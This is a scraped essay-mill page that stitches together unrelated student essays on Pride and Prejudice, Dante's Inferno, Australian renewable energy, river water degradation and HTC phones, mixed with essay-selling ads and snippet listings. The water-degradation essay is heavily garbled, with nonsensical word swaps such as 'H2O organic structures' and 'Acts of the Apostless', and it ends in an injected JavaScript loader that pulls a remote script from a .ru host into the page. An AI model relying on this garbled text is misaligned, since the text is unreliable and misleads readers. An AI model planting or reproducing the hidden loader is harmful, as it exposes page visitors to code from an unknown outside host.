Pride And Prejudice Sexist Stereotypes Of Women

Pride and Prejudice Reinforces Sexist Stereotypes of Women â€Å"Pride and Prejudice†, a novel written by Jane Austen represents eighteenth century English women as illogical, domestic individuals who economically depend on male members in their household. Major decisions in their life are decided by their fathers and brothers. They perform subordinate roles, and are considered inferior to men. This novel reinforces the sexist stereotypes of women.The female characters in the novel possess these virtues in varying degrees depending on their role. Marriage is considered essential to secure a woman’s future ,they are expected to behave in a certain manner to earn the respect of the society, and are treated unfairly by the social and justice†¦show more content†¦According to Miss. Bingley to be an accomplished woman â€Å"A woman must have a thorough knowledge of music, singing drawing , dancing, and the modern language, to deserve the word; and besides all th is, she must possess a certain something in her air and manner of walking, the tone of voice, her address and expressions,† (Austen 29). On Elizabeth’s decision, to walk three miles alone to see Jane, her mother responds against it, because Elizabeth â€Å"will not be fit to be seen† (Austen 24). When Elizabeth reaches Netherfield all dirty from her walk, she does not get admired by the sisters of Bingley. Instead in their eyes Elizabeth appears to possess â€Å"abominable sort of conceited independence† (Austen 26) and they went on to criticise her dirty and messy appearance after the walk. Whereas, Jane is admired as â€Å" strength of feeling, composure of temper and a uniform cheerfulness of manner, which would guard her from the suspicions of the impertinents† (Elfenbein 332). Finally, women were not treated equally in legal and social system. Mr. Bennet’s property is entailed to a distant cousin of the girls as there are no males in the family to inherit. This is a great example of how women are treated inferior in the prevailing system. This puts extra burden on the family as if the girls are not married to men who can provide for them, they have to depend on the sympathy of Mr. Collins, their distant cousin whom the property isShow MoreRelatedPride And Prejudice By Jane Austen933 Words   |  4 PagesJane Austen’s Pride and Prejudice was first published in 1813(Gary vii) a time when women had â€Å"few legal and economic rights or even receiving little respect, women can be seen as oppressed victims of a patriarchal society, subordinate first to their fathers and, then, to their husbands who had, of course, been selected by their fathers† (Swords, 76-82). At first glance one might think that Pride and Prejudice reinforces sexist st ereotypes, however upon further examination of Jane Austen and herRead MoreThe Compassionate Sexist, By Ivona Hideg And D. Lance Ferris Examined Benevolent Sexism Essay1249 Words   |  5 Pagesfrom the Journal of Personality and Social Psychology titled The Compassionate Sexist? How Benevolent Sexism Promotes and Undermines Gender Equality in the Workplace by Ivona Hideg and D. Lance Ferris examined benevolent sexism in the workplace. Benevolent sexism appears to promote gender equality, but it actually undermines it by contributing to gender segregation in the workplace. It contributes to keeping women in positions in which they are underrepresented, and keeps them from moving up toRead MoreAnalysis Of Kate Chopin s Desiree s Baby 987 Words   |  4 PagesIdentity James A. Forbes say, â€Å"When people rely on surfaces appearances and false stereotypes rather than in-depth knowledge/[the] understanding of people are compromised.† Kate Chopin’s story, â€Å"Desiree’s Baby† is a story solely of racial identity, sexism, pride and love. Throughout, there’s symbolism to indicate unequal gender functions, as well as racial prejudice. Readers become mindful of the effects love and pride has over actions, as the story foreshadows numerously. Thoroughly, analytical evidenceRead MoreAn Annotated Bibliography Of Jane Austen s Pride And Prejudice 1561 Words   |  7 PagesGoing Against the Societal Norm in Pride and Prejudice: An Annotated Bibliography Thesis: Throughout the text of Pride and Prejudice, Jane Austen challenges gender and social norms in the Georgian Era through the development of Elizabeth Bennet as she interacts with characters in the novel. Greenfield, Susan C. THE ABSENT-MINDED HEROINE: OR, ELIZABETH BENNET HAS †¦Ã¢â‚¬ ¦A THOUGHT. Eighteenth - Century Studies, vol. 39, no. 3, 2006, pp. 337-350,419-420, †¦Ã¢â‚¬ ¦Arts Humanities Database, †¦Ã¢â‚¬ ¦.http://ncliveRead MoreFinally, Black Feminism Highlights The Unique Experiences1232 Words   |  5 PagesFinally, Black feminism highlights the unique experiences of Black women, but it lies in its commitment to justice, not just for Black women but for that of other similarly oppressed groups. An essential idea within Black feminism is intersectionality in that they argue that race, class, gender, sexuality, etc. are bound together (Garcia, 2016). In other words, white women and black women do not share identical experiences, despite all being female. Likewise, a middle-class black woman has a differentRead MoreThe Stereotypes Of Misogyny965 Words   |  4 Pagesbroad topic of misogyny, it must first be recognized. The oppression of women in society can be found in many aspects of daily life, current events, and in human history. Specifically, this misogyny is largely observed from the way in which the female narrative is suppressed. In â€Å"How to Date a Brown Girl (Black Girl, White Girl, or Halfie)† by Junot Diaz, the female voice is silenced, leaving room for stereotypes to emerge and sexist--and racist--undertones to run throughout the text. As the protagonistRead MoreHomophobia And Discrimination864 Words   |  4 Pages Discrimination and prejudice against sexual minorities are a major social concern in the U.S. today (Rivers, 2011). The stigma towards homosexuals can be a hinder to a healthy identity development and can cause a context of isolation and tension. This discussion talks about the insight and deviance, which violators of important social norms are therefore stigmatized. Hence, deviants are believed to be different from normal people and are set apart. When the social norms are violated, they couldRead MoreGlass Ceiling in the Australian Work Force1506 Words   |  7 Pagesdemonstrate how stereotyping affects males’ perception of women and how it affects women’s perception of gender roles, which supports the concept, that glass ceiling still exists. Stereotyping is to believe that, â€Å"all people or things with similar characteristics are the same,† (â€Å"stereotype†, 2014). The term glass ceiling refers to the invisible barriers that prevent women from succeeding and moving up the metaphoric ladder in the corporate world. Women are perceived as a minority in the workforce, theyRead MoreReflective Statement : Female Gender Roles1897 Words   |  8 Pagesdiscriminatory oppression women encountered in this society, while they treated men more leniently. Women were described with marianismo, seen as delicate and pure -whose sole purpose was to produce babies and expert in domestic chores. In this society men were expected to be more machismo, which requires them to be domineering, physically strong and prideful. If one did not abide to such images, they were considered an outcast. I was exposed to a society contrasting to mine, in which sexist views were conventionalRead MoreThe Battle For Gender Equality1705 Wor ds   |  7 PagesBound by Reality The battle for gender equality has long been a heated issue plaguing men and women all around the world. But what exactly constitutes gender equality, what does it mean to be equal? Why does gender equality matter so much in the first place? After all, are we not all human beings? The issue surrounding gender equality is a complex issue because the concept of gender in itself is a social construction. This makes the notion of gender dynamic and volatile. How one is perceived

Dante Inferno Free Essays

In this canto, Dante awakens to find that he is on the edge of Hell. Dante and Virgil descend into the bottomless pit. They enter the first circle of Hell, Limbo, where the souls that are sighing live. We will write a custom essay sample on Dante Inferno or any similar topic only for you Order Now The souls include those all Unbaptized infants and those men and women who lived before the age of Christendom. I am going to talk more about those souls later. In the previous canto, Dante fainted at moments of great intensity of feeling when he is shocked by the strange sights he sees in Hell. Paralleled to his violent fainting, is he awakened by a great clasp of thunder. This supernatural ‘weather’ mirrors Dante’s internal condition. The faint, however, acts as to move from one location, the ferry crossing over Acheron, to Limbo. Furthermore, it seems that Dante faints only when he is not strong enough to confront sin in that he no longer faints as he continues to face greater horrors and suffering, indicating his increasing strength. We see that the period of unconsciousness has done Dante good as he â€Å"stood up and turned [his] rested eyes†¦ to see what kind of place it was where [he] awoke† (4-6). Eyes are the organ of sense related to light. The eyes have the ability to absorb light and enable us to see. Therefore, they may signify reason and knowledge, which is intended to be strengthened through the Dante’s journey. Dante seems to be ready to face the next obstacle; however, when he looks down into the pit, he becomes reluctant, indicating that he is still far from being able to face Hell by himself. As they took the first downward movement within Inferno, Dante sees Virgil’s pallor of pity which he mistakes for fear as he himself had been at the end of previous canto. Virgil then answers him, â€Å"the anguish of the souls who dwell down here has painted in my face the pity you have taken to be fear† (19-21). Virgil describes the world of Limbo as the â€Å"blind world† without other punishment than its darkness and â€Å"thundering with the roar of endless woe. † Traditional thinking, according to the apocryphal Gospel of Nicodemus, there are two limbos, which are for the souls of unbaptized children and the other for the virtuous pagans. Virgil further explains that he himself being among the former, further commenting that the only pain they suffer is that the hope of seeing God doesn’t exist within them. They are not punished, yet they eternally miss the supernatural joys of Heaven. Virgil continues on by saying that those souls â€Å"didn’t sin. If they had merits, these were not enough – baptism they didn’t’ have, the one gate to the faith which you believe† (34-6). When Dante heard Virgil’s saying â€Å"hopeless, we live forever in desire,† â€Å"great sorrow seized [his] heart. † It shows that Dante is responding with pity and sorrow. Caught by this statement, Dante asks if anyone has escaped and achieved Heaven. Dante continues on by saying â€Å"I want to confirm the faith that conquers every path that strays,† showing that he is seeking knowledge and wishing to be reassured of the Justice of God and be confirmed of what he heard about the harrowing of Hell. The real question he’s asking is that why should he seek confirmation of Christ’s ascent to heaven from a pagan? Virgil answers with â€Å"I had just entered in this state when I saw coming One of power and might crowned with the glorious sign of victory† (54-55). â€Å"One of power and might† indicates Christ, in the harrowing of hell. The Harrowing of Hell indicates the event where Christ descended to Hell, and freed the souls of all those virtuous people who lived before the grace of baptism. The sign of victory can mean the cross. However, in Dante’s case, the virtuous souls remain in the limbo eternally. Dante’s question and Virgil’s answer doesn’t concern with the harrowing of hell, but rather with those who went up with Christ after the harrowing of hell. Virgil answers with list of the patriarchs and matriarchs, mentioning on Hebrews; Adam, Abel, Noah, Moses, Abraham, David, Jacob, Isaac, the sons of Jacob and Rachel. He indicates that â€Å"many others† were included, some of whom will be concerned later. The reason for this is to emphasize the conflict toward the pity. Dante and Virgil â€Å"did not leave off walking while [Virgil] spoke,† which reminds us of the journey in motion. This information is provided to establish the ‘realism’ of the scene. As they walk through the â€Å"forest thicketed with souls,† Dante sees a fire which is supposed to symbolize the moral virtues, or knowledge in the light of which he describes certain honourable folk. He further questions Virgil why these honourable folk are distinguished from the other spirits by being allowed to be the light, to which Virgil replies: â€Å"The honoured name that still resounds/their glory in our life above has won the grace from Heaven that now exalts them here† (76-79). In other words, the fame which these souls possess in the world above earned them a special location in Limbo. As Dante continues throughout his journey, the recurring motif of fame is one of the most important motifs of the Inferno. How to cite Dante Inferno, Essay examples

Biomass Conversion Pathways Urban Systems -Myassignmenthelp.Com

Question: Discuss About The Biomass Conversion Pathways Urban Systems? Answer: Introduction This essay is about Australian current debate/Policy on renewable energy. It is an energy, which is, brings together from various renewable resources that are naturally refilled on a person timescale like rain, sunlight, tides, wind, geothermal heat and waves. The sources of energy are renewable sources and non-renewable sources. Natural resources are sunlight, wind and water. These resources will be available for a never-ending period. However, non-renewable sources are coal, fossil fuels, and petroleum, which will be available for a limited time. Governing bodies not only working on renewable management but also developing new ideas to preserve non-renewable sources and various researches are doing by the government to regenerate non-renewable sources. This essay also includes the various types of renewable energy that are biomass and geothermal energy, ocean energy, hydropower, wind and solar energy. In Australia almost the amount which is spent by their government is very much hi gh. The essay includes the needs for the renewable energy. The need of renewable energy is very much high because it generates from the never-ending sources such as wind, air, sunlight etc. but problem is the planning of renewable energy is looks goods only on the paper, at the time of execution it seems to be difficult to implement. Moreover, this essay also mentions the importance of renewable of energy, it is very important for all the nations to focus on the renewable energy because after a certain period the resources for non renewable energy comes to an end, at that time only renewable energy will help the people in providing the energy. Government of all the nations should focus and develop new and effective plan to make it successful Renewable energy: The population of the economies is growing day by day, which required various energy needs for sustaining an economy. Australia is a developed economy having high availability of various natural resources for the production of energy. There are two sources of energy, which are termed as renewable source, and non-renewable sources of energy. Renewable source of energy is the source, which is available in the nature and having availability throughout the period of existence of the economy. It is the resource, which is available repeatedly and will never end. Such as solar energy, water energy, wind energy and biomass energy. Australian is a developed country having industry leader in number of solar technology such as photo voltaic, solar thermal technologies and solar concentrator systems; it is also providing support for international renewable energy and initiatives towards efficiency. Types of renewable energy: It is the energy produced with the help of falling water by placing a turbine below mainly high water falls and constructed dams are used for producing energy from water. It is having advantage of low green house gas emission, quick electricity generation and low operating costs, which help to fulfill demand in peak need of energy/electricity. Although Australia is one of the dry continent on earth but still it has managed to produce hydro electricity in New South Wales and Tasmania (Australian Government, 2017). There are several dams constructed for energy construction, which resulted to 55% of electricity in NSW and around 29% production of supplied electricity in Tasmania, both are highest rainfall areas in Australia. Wind energy: It is currently the economic source of the energy at large scale especially in the field of renewable energy. It is the energy, which is generated by converting the flow of wind into energy with the help of windmill (Kaplan, 2015). It is able to produce around 5.3% of the overall electricity in the year 2016. It is also 30.8% of the clean energy produced in Australia (Clean energy council, 2014). It is also providing employment to 48 persons directly or indirectly without polluting the environment. Solar energy: It is also one of the energy sources, which are providing energy at large scale in various countries around the globe. It is the energy, which is used to produce electricity, heating air, water or any other liquid with the help of solar radiation (Bygrave, 2016). There are two types of technology used for such energy generation solar thermal and solar photovoltaic. It is also having highest solar radiation per square meter while comparing to any other continent, it is also having a number of the most excellent solar energy assets in the world. It is mainly used for generating electricity and hot water systems. Biomass and Geothermal energy: The energy produced by use of the waste vegetables and animal derived organic waste the by products in the process of its conversion are also used in the household needs and the energy produced is used to generate heat and electricity (Moret, et al., 2016). Current sources of such energy are sewerage treatment plants, landfill sites, livestock feedlots and other farming wastes. It contributes around 4% of the energy needs of the country. Geothermal energy is rising as a source of energy in various countries. It is not produced abundantly in Australia for commercial use but there is rapid need and possibility of energy generation in Australia. It is expected that if it is produced in the area of 5 kilometers with 302 Fahrenheit will produce energy needs of whole Australia for 26000 years. Ocean energy: Ocean energy can be divided into two types mechanical and thermal energy. It is having wave energy and tidal energy, which is a difficult to obtain, and there is not much progress in this energy generation. Wave energy is also a source of energy in coastal areas there are many technologies introduced which produces electricity under water (Geoscience Australia, 2017). It uses the speed and pressure under the sea with the waves, which reach towards coast to generate electricity. Needs for renewable energy There are various companies in Australia working on the needs of the renewable energy it is having various advantages which also helps in the sustainable development and acting as strengthening of the economy as a whole. This will also lead to a healthy and pollution free environment with minimum cost in the energy production for the next generations. It is also observed that the economies are facing various problems relating to pollution, energy scarcity and higher cost for generating non renewable sources of energy so need for a other energy resources have resulted to movement towards renewable energy resources. The present dependency on oil, coal and natural gas has extreme bad impact on the surroundings, which also leads to global warming (Ellabban, et al., 2014). If the same condition continues than the next generation will not able to survive so there is need for conserving the non-renewable energy and focusing on generating energy at cheap rate. Large-scale renewable energy target and small-scale renewable energy scheme is introduced by the Australian government to achieve the needs of the green energy. The LRET includes legislated yearly targets, which will require important venture in renewable energy production ability in upcoming years. The large-scale targets also incline up until 2020 when the target will be 33,000 gigawatt hours of renewable electricity generation. STCs are shaped for providing facilities to small business and household, which acts as important role in the economic development (Bygrave, 2016). The systems installed in these areas are according to the quantity of electrical energy that they are expected to produce or displace in the future. It includes heat pumps, solar water heaters, small-scale wind systems and hydro systems having estimation of the energy requirements and satisfying the needs to have self-managed energy supply. This also allows eligible solar PV systems to create expected system out put between the time of equipment installment and the end of the RET scheme in 2030. Clean energy regulator is the body, which is taking care of the various renewable energy techniques Importance of renewable energy According to latest analysis by the (IRENA) International Renewable Energy Agency, A mixture of renewable energy and energy competence would be sufficient to grasp worldwide climate to two degrees of warming. The amount, which is spent by the Australians on energy each year, is $50 billion. While earning from energy exports each year is more than $24 billion. This industry includes huge long-lived resources stuffs like coal, transmission lines, gas and oil making amenities, refineries, pipelines, and wind farms, electricity plants along with huge number of smaller amenities like retail distribution sales and wholesale. There are major environmental challenge in production and use of energy. These challenges are use of new and big technologies that can affect water and air quality of Australia, heritages, biodiversity and noise levels. To universal production of greenhouse gases, Energy is the major particular contributor (Clean Energy Council, 2014) It is projected that demand of energy will increase by fifty percent until 2020 and to meet the nations energy need it is estimated that energy industry will need atleast $37 billion investment by 2020. About 200 countries decided to take action to grasp warming well under two degrees at UN climate change conference in Paris last year. Effort currently starts in earnest to work out and for individual countries how it will look like and which policy fits the best and do the job more effectively (Clean Energy Council, 2014). The report of International Renewable Energy Agency says that more than twenty four million jobs will be created by 2030 if the current share of renewable energy's just be double to 36 percent of the global energy mix and distribute almost half of the production decline essential under the Paris agreement. Rest can be take care by the energy efficiency. The increase in renewable would observe an equivalent expansion in Australias financial system of 1.7 percent over business as common, furthermore factoring in a possible turn down in coal exports, it is accounting to the research. Report says that the benefit to the global economy would be A$1.9 trillion. IRENA Director General Adnan Amin said in the Paris conference that countries should now move from compromise to action and quickly decarbonizes the energy sector. This examination offers convincing proof that accomplishing the required energy evolution would not only decrease climate change, but also helps in encourage the economy, increase the job opportunity globally and improve human welfare. Clean Energy Council conducted a poll in which they found that 80 percent Australians are in favor of renewable energy. Renewable energy is not only another source of power generation but this evolution will help in generating the jobs for Australians as well around the world (Devine-Wrigh t, 2014). Renewable energy is the solution to a sustainable future for Australia and for other countries also. From last few years the unemployment rate in Australia has increased and there are very much job crisis. Therefore, this industry not only provides the energy but also helps in generating jobs that will increase the economy, which is beneficial for the Australians. Along with schemes like Renewable Energy Objective, as billions of dollars in investment, the clean energy has successfully managed to generate thousands of job opportunities. Renewable energy helps in reducing the countrys orangery gas emissions with numbers showing that the RET has already diminished Australias carbon production by 22.5 megatons. Along with benefit to the economy of renewable energy such as solar power. This will help in protecting the increasing cost of fossil fuel with number showing that the RET will have coal fired generation about twelve percent lesser than initially forecasted by 2030 (Apergis, et. al., 2010). At last the most important, basis of renewable energy like setting up of solar panels provide households the alternative to brawl against increasing electricity invoices, dropping their dependence on fossil gas produced power from the grid. Issues with Renewable Energy The major issue arise in renewable energy is implementation and survival of it. Although there are, endless sources those are available in the environment, which helps in generating energy for the lifelong of every human being. However, the problem is population is increasing day by day by that those natural resources are getting affected day by day. The major concern for the government of every nation is to protect their environment and make the best use of it. It is clearly understood that non-renewable resources will definitely ends after a certain period. Then dependency of energy is on the natural resources but increasing population and lack of awareness about the environment among people is damaging the environment. People are not very much aware about the renewable energy and still there is lack of seriousness towards conserving the renewable energy source and using renewable energy. Government should conduct seminars to aware the people about the renewable energy (Twidell, et . al., 2015). It is not only government responsibility to protect environment for future but people also come forward and work with government in protecting nature because in near future it will surely become the reason for life. The nations having abundance of the non-renewable energy are also feeling the problems of international level of environment pollution which is impacting the surroundings and several problems relating to the health. It is also known to the nations that these resources are going to be exhaust in short period of time so energy is considered as most crucial issue in the national politics of various nations (Epstein, 2017). The growth and expansion of the industries depends upon the energy sources the countries having cheap energy are having attraction of industrial setup and higher economic growth. There are also some conflicts on the energy sources due to the time taken and the resources that are required in the production of renewable resources are different from non-renewable sources. Some estimated show that if the same rate of consumption is continued than fossil fuel will end in 50-60 years. It also results to global warming and climate changes, which is also a key discussion in the G- 20 summit held in the current year. Sustainable environmental development is the focus for the OECD countries in the next 10 years. It is also important to understand that still there is about 1.2 billion of the population, which is not having electricity so the demand for electricity and other energy are having possibility to increase up to 9 billion in the next 50 years. Melting glaciers and rising sea level will also affect to changes in the agriculture and fishing industry in Australia and around the globe commercially (Riley, 2017). So it is required to focus on the renewable sources of the energy with having depth analysis of the problems in the production and set up cost. Several experienced experts working on renewable energy are facing problems of incorporating renewable energy resources at lower rates than non- renewable energy (William, 2017). The other problem with the economy is switching cost, which is not affordable on the hand of the industrialists and the economy as a whole. Some of the sectors are very dependent on the fossil fuels and they will not be possible to switch to renewable energy sour ces. It is also a matter of debate that renewable energy cannot provide the needed energy requirements to fulfill the actual needs. In addition, after several attempts of various governments, it is not possible a satisfied decision as there is no storage and flexible power solution to store energy produced from the natural resources; secondly, they are producing just 1 % of the energy while compared on world level so the dependency on fossil fuel remains same. Cost effectiveness is also a key barrier in implementing clean and green energy (Fischetti, 2013). The need is to have drastic development in the field of low cost energy production and storage with the proper channels so that it can reach to the world as the energy from sun in one day is enough for energy consumption needs of whole year. The key benefit is it is having negligible impact on the environment. Conclusion The essay concludes that renewable energy is very essential for the survival of the human being in the future. Government of all the nations taking this issue seriously and lots of money is spending on renewable energy to make it more effective. This essay concludes the difference between renewable and non-renewable sources. There are several types of renewable energy, which are explained briefly above in the essay. Australian government is very much focused on the renewable energy, the amount, which is spent by the government of Australia on energy, is A$50 billion, and income from energy by exporting it is A$20 billion. To develop energy from renewable sources seems very easy and government also explains it smoothly but problems occur in implementation of it. To generate energy from sunlight only works when sun rays comes in contact with solar panels, but in rainy season it is very much difficult to generate energy from solar panels because they work when sun rays comes in contact with it, unless not. References: Apergis, N., and Payne, J. E. (2010). Renewable energy consumption and economic growth: evidence from a panel of OECD countries,Energy policy,38(1), pp. 656-660. Australian Government (2017) Department of the Environment and energy. [Online]. Available at: https://www.environment.gov.au/climate-change/renewable-energy-target-scheme (Accessed: 13 September 2017). Bygrave, S. (2016) Australia as a renewable energy superpower the business case for zero emissions transition. [Online]. Available at: https://reneweconomy.com.au/australia-as-a-renewable-energy-superpower-the-business-case-for-zero-emissions-transition-97066/ (Accessed: 13 September 2017). CISRO (2017) Solar Energy. [Online]. Available at: https://www.csiro.au/en/Research/Energy/About-Solar-power (Accessed: 13 September 2017). Clean Energy Council (2014) Huge economic benefits from increasing renewable energy: Global study. [Online]. Available at: https://www.cleanenergycouncil.org.au/news/2016/January/irena-renewable-doubling-jobs-gdp-economics.html (Accessed: 04 October 2017). Devine-Wright, P. (Ed.). (2014)Renewable Energy and the Public: from NIMBY to Participation. UK: Routledge. Ellabban, O., Abu-Rub, H., and Blaabjerg, F. (2014) Renewable energy resources: Current status, future prospects and their enabling technology,Renewable and Sustainable Energy Reviews,39, pp. 748-764. Epstein, A. (2017) The energy debate: Renewable energy cannot replace fossil fuels. [Online]. Available at: https://developmenteducation.ie/feature/the-energy-debate-renewable-energy-cannot-replace-fossil-fuels/ (Accessed: 12 September 2017). Fischetti, M. (2013) How to Power the World without Fossil Fuels. [Online]. Available at: https://www.scientificamerican.com/article/how-to-power-the-world/ (Accesses: 3 October 2017). Geoscience Australia (2017) Ocean energy. [Online]. Available at: https://www.ga.gov.au/scientific-topics/energy/resources/other-renewable-energy-resources/ocean-energy#heading-5 (Accessed: 13 September 2017). Kaplan, Y. A. (2015) Overview of wind energy in the world and assessment of current wind energy policies in Turkey,Renewable and Sustainable Energy Reviews,43, pp. 562-568. Moret, S., Peduzzi, E., Gerber, L., and Marchal, F. (2016) Integration of deep geothermal energy and woody biomass conversion pathways in urban systems,Energy Conversion and Management,129, pp. 305-318. Riley, T. (2017) Just 100 companies responsible for 71% of global emissions, study says. [Online]. Available at: https://www.theguardian.com/sustainable-business/2017/jul/10/100-fossil-fuel-companies-investors-responsible-71-global-emissions-cdp-study-climate-change (Accessed: 14September 2017). Twidell, J., and Weir, T. (2015)Renewable energy resources. UK: Routledge. William, J. (2017) Renewable Resources: The Impact of Green Energy on the Economy. [Online]. Available at: https://www.business.com/articles/the-impact-of-green-energy-on-the-economy/ (Accessed: 13 September 2017).

Water Degradation Essay Research Paper Water Degradation free essay sample

Water Degradation Essay, Research Paper Water Degradation Based on the article: River Life Through U.S. Broadly Degraded. By William K. Stevens, Jan. 26, 93 Society has been presented with a wide spectrum of cause and effectrelationships within the H2O based ecosystems. Without a witting attempt torehabilitate our H2O systems many rivers and lakes are doomed. We have to look afterthis cherished resource. Fortunately many new controls and clean up plans have beenintroduced. Rivers are being devastated due to physical and ecological transmutation. Thisdecrease in the quality of river and H2O organic structures consequences from human activities andprocesses. The ecosystems are altering quickly. It is necessary to keep aconsistent balance in these ecosystems. Imbalances are happening with alimentary degrees, H2O temperature, H2O degree, and deposit. # 8220 ; The watercourse so carries moresediment and becomes wider, shallower, and heater, doing the H2O unfit for manyvital organisms. # 8221 ; ( Stevens, New York Times, Jan. We will write a custom essay sample on Water Degradation Essay Research Paper Water Degradation or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page 26, 1993 ) The activities impacting the watercourses are every bit diverse as the countries in which streamsare being affected. Dams are capable of destructing entire ecosystems. They affectwater degrees, and therefore affect H2O temperature. Changes in river temperature candestroy entire population of beings. In add-on they affect alimentary degrees bycutting them off, non leting them to flux down watercourse. Salmon runs frequently fall preyto the concrete monsters. Although this is frequently bypassed with pink-orange elevators.Development of land frequently consequences in the straightening, channeling, and diversionof the rivers and watercourses. Many rivers and watercourses have merely dried up most of theyear, and some neer make it all the manner to the ocean. This can be lay waste toing to thewide assortment of species, and decimate niches and ecosystems take downing the biological+ H ) 0*0*0* . . + diverseness. Development is frequently damaging to river bank flora. This al lowswater to run off excessively rapidly, therefore cut downing the H2O keeping capacity of the land, andadding to deposit. Channeling and recreation can besides be found in agribusiness and farming practices.In add-on chemical fertiliser and carnal waste merchandises run off causes an surfeit of foods being added to the H2O interrupting the delicate balances.Plowing and other patterns leave dirt victim to eroding which adds to thesedimentation of the river. Forestry is besides a major cause of watercourse deposit. When the works materialis removed the dirt surface it is left really susceptible to eroding. This produces a lotof extra deposit over a long period of clip. After an country is cleared thechemical balances are affected as good. # 8220 ; In peculiar, Ranberg and co-workers provedthat alkalinity increased when forest land was converted into agricultural land andacidification occurred when patterns were abandoned. # 8221 ; ( Charles, Nature, April 29,93 ) This clearly show s how the lake chemical science is affected by forestry and agriculture.Urban and suburban countries are besides to fault. We continuously remove H2O from R / gt ; our H2O ways for usage, and replace it with wastes. This leads to nutrification andgeneral impairment of the H2O. # 8220 ; Nationwide, there are 2,100 wellness advisories forfish contaminated by toxic chemicals, harmonizing to a 1991 National Academy of Sciencesreport, Seafood Safety. # 8221 ; ( Marx, EPA Journal, Sept-Oct, 92 ) Heated outflowing releasedinto river ecosystems are frequently damaging. Emissions affect lake and riveracidification and hence the ability to back up aquatic beings. The effects ofacid rain take a heavy toll on ecosystems whether they are H2O based or non. Another job the river ecosystems are confronting are alien species. Somespecies are merely of course happening incidence, others are human introduced. # 8220 ; Theyhave significantly reduced biological diverseness through predation, change of home ground, debut of diseases or parasites and crossbreeding with native organisms. # 8221 ; ( Stevens, New York Times, Jan. 26, 93 ) This shows the effects of p resenting a foreignspecies to an established home ground. There are a figure of factors impacting our riversand ecosystems. Fortunately some witting attempt is being made to continue thisvaluable resource. These include salvaging the headwaters of major rivers, replantingriver Bankss, and authorities carbon monoxides operative H2O ordinance at dike. An illustration of the efforts to assist our current H2O state of affairs is Chesapeake Bay where local authoritiess have agreed to cut down the sum of foods being released by 40 % before the twelvemonth two 1000. Another signifier of saving is the liming of H2O organic structures rivers and entirewatersheds. Birdliming is the chemical neutralisation of acidic Waterss. By liming theentire watershed, the intervention can last five to ten old ages. # 8220 ; Harvey Olem saysresearchers have estimated that half the U.S. surface Waterss acidified by air pollutants will finally retrieve under the emanations control strategies most likely to e merge from strengthened Clean Air Act ordinances. # 8220 ; The other half will remainacidic, # 8221 ; he observes. And for them # 8220 ; liming may be an option a tool for reconstructing theirfisheries. # 8221 ; ( Raloff, Science News, Feb 24, 1990 ) A batch of common patterns must shortly come to a arrest. Obviously we are seting a veryheavy load on our waterways. The effects of this are really clear. In order to dealwith these jobs we must get down at the root of the job. We must cut down ourwastes and happen alternate agencies for disposal. We must cut back on emanations. Manythings are being done, and Acts of the Apostless are being passed. The public population is get downing totake it upon themselves to care for their river systems. Fortunately rivers are able, for the most portion, to reconstruct themselves one time the inhibiting factors are removed. BIBLIOGRAPHYDonald Charles, # 8220 ; Acid Rain Not Merely To Blame, # 8221 ; + +Nature, # 8211 ; April 29, 93, P. 784 Janet Raloff, # 8220 ; Lime for Your Drink? , # 8221 ; + +Science News, # 8211 ; February 24, 90, P. 127Wesley Marx, # 8221 ; Great Waterbodies at a Watershed, # 8221 ; + +EPA Journal- , September October,92, P. 45-48William K. Stevens # 8220 ; River Life Through U.S. Broadly Degraded, # 8221 ; + + New York Times, # 8211 ; January26, 93. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

buy custom HTC Cell Phones essay

buy custom HTC Cell Phones essay Executive summary HTC is one of the cell phones manufactures in the world. Due to the high quality of their mobile phones they have high demand for their products. It is one of the most competitive mobile phone manufactures in the world in the global markets. The company puts in place certain marketing strategies to be able to sell more. There are several threats facing the HTC manufactures but the biggest threat that is facing is the completion from other cell phones and mobile phones manufactures. Many competitors in the market also sell the mobile phones like the LG handsets, Nokia, and Motorola. The HTC has certain threatens that makes it unable to achieve the set goals to increase the sales. Although HTC is faced by these threats, the firm also has opportunities to utilize to curb the threats. Producing of high quality phones that are on high demand on the world is an opportunity by the firm to increase share. The company public relations have been well managed. The brand has been able to create a good image of the firm through sponsoring of some teams. Good public relations enable a company to achieve positive attitude from the public. The company has also marketing strategies that make it increase the sales of the mobile phones. (Holson, 2008) Although is faced by many competitors, HTC manufacturers can came up with ways to increase their sales through marketing.HTC makes use of the 4ps marketing strategy. This includes manufacturing of right products, right pricing, right promotion strategies and sell at the right places. There are some things that the HTC marketing manager should do to improve the sales of the mobile phones. Cooperating with the mobile operators to give offer to customers. They should also engage in markets research to find out the consumer tastes and preferences. Introduction HTC is one of the international brands that deal with the manufacturing of smart phones. HTC was number 98, Best Global Brands rankings released by Inter-brand in 2011. It is the most successful in the manufacturing of smart phones. This is because of the quality of their cell phones that have 3G internet and wireless connections among other features. Cher Wang is the chairwoman of HTC. Peter Chou is the President and Chief Executive Officer. HTC offices are in china. China is one of the developed countries in the world. The level of technology in china is very high. This technology can be employed in the manufacturing of the phone to increase productivity. The economy of china is well established and therefore, the market for the product is readily available. The company is less likely to suffer from any financial problems. HTC mobile phones are providing users with the ability to use their phones for business. the HTC phones has the Windows Mobile operating system, allowing users to view documents created through Microsoft applications such as excel, word and Power point. (Woyke, 2009) The phones support can also support Outlook Mobile giving the users the chance to send and receive emails. The phones also have the 3G internet that enables the users to access the internet. The 3G internet is much faster than the 2G internet phone. HTC manufacturers provide the most popular handsets on the market today. HTC mainly manufactures the touch screen, smart phone and PDA mobiles. The handsets have great internet connectivity like the 3G internet and 4G internet. The phones lso have large colorful screens and have multimedia features. This has led to the company being one of the most competitive cell phone manufactures in the world. The Company Mission Statement The companys mission is to increase its sales and researching more to come up with high quality mobile phones. HTC will be selling smart phones in China under its own brand name in a partnership with China Mobile. This will increase the sales of the cell phone as this increase the market. In the year 2010, HTC sold many handsets and the sales had increased by 11% in the year 2009. HTC mission HTC has a mission is to become the worlds leading supplier of mobile and cell phones by providing uniquely designed phones. The company is working to achieving this research and development products. Threats faced by HTC Competition is one of the threats that are facing HTC.HTC is face by competition from various cell phone manufactures. This manufactures include: BlackBerry handsets are the mobile phones that are on high demand in the market. Their phones provide users with a phone that they can access their email and they have large screens for better view among other amazing features. Apple has the technology and style that they use to make their range of iPhones which have been on high demand today. They offer phone with fast internet. 